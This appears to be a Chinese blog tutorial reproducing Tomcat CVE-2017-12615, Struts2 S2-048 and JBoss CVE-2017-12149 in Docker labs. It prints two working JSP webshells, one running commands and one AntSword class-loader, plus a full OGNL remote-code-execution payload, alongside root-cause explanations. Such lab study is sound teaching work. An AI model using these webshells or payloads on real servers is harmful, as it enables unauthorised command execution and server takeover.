🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
攻防环境搭建及漏洞原理学习
Kali安装docker
安装教程
PHP攻防环境搭建
中间件介绍
介于应用系统和系统软件之间的软件。
能为多种应用程序合作互通、资源共享,同时还能为该应用程序提供相关服务的软件
1、Tomcat
Tomcat Put方法任意写文件漏洞(CVE-2017-12615)
Tomcat版本:7.0.0-7.0.79、8.5.19
此漏洞环境搭建:
docker search cve-2017-12615 //搜索相关镜像
docker pull docker.io/cved/cve-2017-12615 //把镜像拉取下来
docker run -d -p 8080:8080 cved/cve-2017-12615 //启动镜像
漏洞复现
先抓tomcat的包,右击发送到Repeater模块
改成put方法,上传名为1.jsp的脚本文件(脚本在下面),脚本内容放在请求正文里
再通过send
发送这个包,根据响应状态码判断包传到服务端后有没有攻击成功
状态码为201说明上传成功了
验证一下是否成功:上传到根目录了所以直接访问本地ip:端口/1.jsp
发现是个空白页面说明这个文件就是存在的,因为如果页面不存在返回结果是404
上面的1.jsp已经告诉了使用此脚本的密码为magedu
if("magedu".equals(request.getParameter("pwd")))
又定义了i参数用来接收用户的输入(写我们想执行的恶意代码)
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
很好,那么我们现在就可以来输入一些自己想执行的代码了
ls查看当前目录有那些文件
ls是Linux命令,能出来结果,说明底层是Linux操作系统
windows用dir查看
目前已经可以想执行什么命令就执行什么命令了,成功拿下webshell(web页面上的shell)
思考:为什么攻击的时候加/能传输成功,不加/就上传失败呢?
出于安全考虑,Tomcat本身不允许用户上传脚本文件,但加上/后,后缀名变成了
.jsp/
,可是操作系统保存文件时,文件的后缀名不能有/,不过系统会自动把/抹掉以.jsp
的形式保存,所以上传成功可以执行
1.jsp
<%
if("magedu".equals(request.getParameter("pwd"))){ //if(pwd==magedu)密码是magedu
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); //exec表示执行,i=用户输入的
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
介绍一款工具
蚁剑
webshell图形化,下面介绍结合蚁剑工具对tomcat的漏洞利用
蚁剑百度网盘
使用过程
将蚁剑漏洞的shell脚本上传至服务端
访问上传的shell.jsp,若网站正常响应,则上传成功,否则失败
使用中国蚁剑连接
粘贴刚才上传shell.jsp后的url,连接蚁剑的密码是cmd
String cls =request.getParameter("cmd");
双击进入服务器,tomcat的配置就能随便翻阅了,至此已经成功
shell.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
tomcat、shell、蚁剑的关系
- 因为tomcat存在漏洞,所以可以上传shell(脚本文件)
- shell终端代码帮助攻击者实现远程命令执行的功能,而这些代码的运行要依靠tomcat
漏洞原理
造成漏洞的原因:
1、Tomacat的web.xml配置了可写(readonly=false
),导致我们可以往服务器写(PUT)文件
2、Tomcat本身不允许上传jsp文件,1.jsp/
加了/后就不是jsp
文件了,系统保存文件1.jsp/ --> 1.jsp
(Tomcat对jsp是做了一定处理的,前面的流程中1.jsp/识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽视掉)
---------如果攻击成功?只需要两步
1、绕过网站的限制
2、让我上传的这个文件得以以正确的后缀名保存到服务器里
2、Struts
是一个基于java的web应用框架,被称为“漏洞之王”
S2-048远程代码执行漏洞(CVE-2017-9791)
漏洞原理
把该漏洞主要问题出在struts2-struts1-plugin
这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用
而由于 struts2-struts1-plugin
包中的 “Struts1Action.java” 中的 execute 函数可以执行OGNL表达式且能够调用 getText() 函数,而 getText() 函数的参数输入点又可以被用户直接控制,从而导致攻击者可以直接控制该点,构造恶意代码并执行从而实现RCE攻击
漏洞复习
docker search s2-048 //查找镜像
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638 //拉取镜像
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638 //启动镜像,8082是vps的端口,8080是容器本身的端口
<!-- 容器本身的端口不可以更改,但可以映射到vps的任意端口,只要没有被占用 -->
这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8081/showcase/
即可查看到struts2的测试页面
触发OGNL表达式的位置是 Gangster Name
这个表单
访问Integration/Struts 1 Integration:
OGNL表达式格式:
${xxx}
把4+5的运算结果返回给我们,到这里已经实现命令执行了
------为什么会使用数学运算表达式来验证命令是否执行?
1、回显准确
2、对网站本身不造成危害
漏洞利用代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息
uid和gid都等于0说明是root用户
怎么挖这个漏洞?
通过工具进行信息收集,找到这个网站有没有struts框架
3、JBoss
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞简介
该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。
漏洞原理
XXX反序列化漏洞:
# 序列号和反序列化的作用:保证代码在传输过程中不因为格式的变化而导致不可用
序列化:把Java对象转换为字节序列(文本)的过程,便于数据进行保存、传输
反序列化:把字节序列恢复为Java对象的过程,以实现函数、对象的调用,完成代码承载的功能
序列化和反序列化本身属于正常的功能并不存在问题,问题在于,如果Java应用对于用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在调用过程中就有可能带来任意代码执行
漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEBINF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream(); //获取用户输入
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点,用户输入的数据没有经过过滤就直接拿来使用了
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
漏洞复现
因为最近docker镜像无法拉取,所以要拉取前先去github上同步镜像源,具体流程请百度(下面直接给了JBoss镜像可以不用同步)
Jboss镜像
导入镜像源
docker import <容器文件路径> <新镜像名称>:<标签>
启动镜像
docker run -d -p 8082:8080 hackingpub/cve-2017-12149 /bin/bash run.sh
首次执行时会有1~3分钟时间初始化,初始化完成后访问 http://your-ip:8082/
即可看到JBoss默认页面
漏洞利用
发现是jboss框架后使用反序列化漏洞检测工具,输入ip点击检测
发现漏洞系统是linux,在cmd输入想要执行的代码
怎么挖这个漏洞?
通过工具进行信息收集,找到这个网站有没有struts框架